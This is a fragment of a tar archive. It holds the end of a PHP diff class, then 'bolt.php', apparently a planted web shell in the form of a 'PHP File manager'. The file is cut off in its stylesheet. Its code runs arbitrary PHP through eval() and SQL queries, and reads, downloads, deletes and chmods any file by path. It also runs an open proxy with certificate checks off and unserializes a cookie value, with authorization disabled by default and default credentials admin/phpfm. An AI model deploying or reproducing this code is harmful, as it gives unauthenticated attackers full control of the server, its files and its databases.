            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
